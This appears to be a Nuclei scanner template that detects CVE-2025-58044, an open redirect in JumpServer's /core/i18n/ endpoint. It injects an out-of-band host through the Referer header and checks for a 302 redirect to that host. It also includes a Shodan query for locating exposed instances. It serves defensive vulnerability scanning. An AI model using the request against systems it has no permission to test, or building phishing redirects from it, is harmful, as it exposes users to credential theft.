JumpServer - Open Redirect via Referer Header

id: CVE-2025-58044

info:
  name: JumpServer - Open Redirect via Referer Header
  author: DhiyaneshDk
  severity: medium
  description: |
    JumpServer is an open source bastion host and an operation and maintenance security audit system. Prior to v3.10.19 and v4.10.5, The /core/i18n// endpoint uses the Referer header as the redirection target without proper validation, which could lead to an Open Redirect vulnerability.
  impact: |
    An attacker can craft a malicious link that, when clicked by a victim, redirects them toan attacker-controlled website. This can be used to steal credentials through phishing or to distribute malware.
  remediation: |
    Upgrade JumpServer to version 3.10.19 or later (for v3.x) or version 4.10.5 or later (for v4.x).
  reference:
    - https://github.com/jumpserver/jumpserver/security/advisories/GHSA-h762-mj7p-jwjq
    - https://github.com/jumpserver/jumpserver/commit/36ae076cb021f16d2053a63651bc16d15a3ed53b
    - https://nvd.nist.gov/vuln/detail/CVE-2025-58044
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-58044
    epss-score: 0.00442
    epss-percentile: 0.35591
    cwe-id: CWE-601
  metadata:
    verified: true
    max-request: 1
    vendor: fit2cloud
    product: jumpserver
    shodan-query: html:"JumpServer 开源堡垒机"
  tags: cve,cve2025,jumpserver,redirect,open-redirect,fit2cloud

http:
  - method: GET
    path:
      - "{{BaseURL}}/core/i18n/ko/"

    headers:
      Referer: "https://oast.pro"

    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - '(?i)location:\s*https?://oast\.pro'

      - type: status
        status:
          - 302
# digest: 490a0046304402204dfab7ee2ae7f92cd91ea76a18a54e5ab1a5940804d08c2ede29a83e3c98beb702206d9d5756d4588da0a53689cced5ea4300cdeeabe9658a8030bc45ba70df3b76e:922c64590222798bb761d5b6d8e72950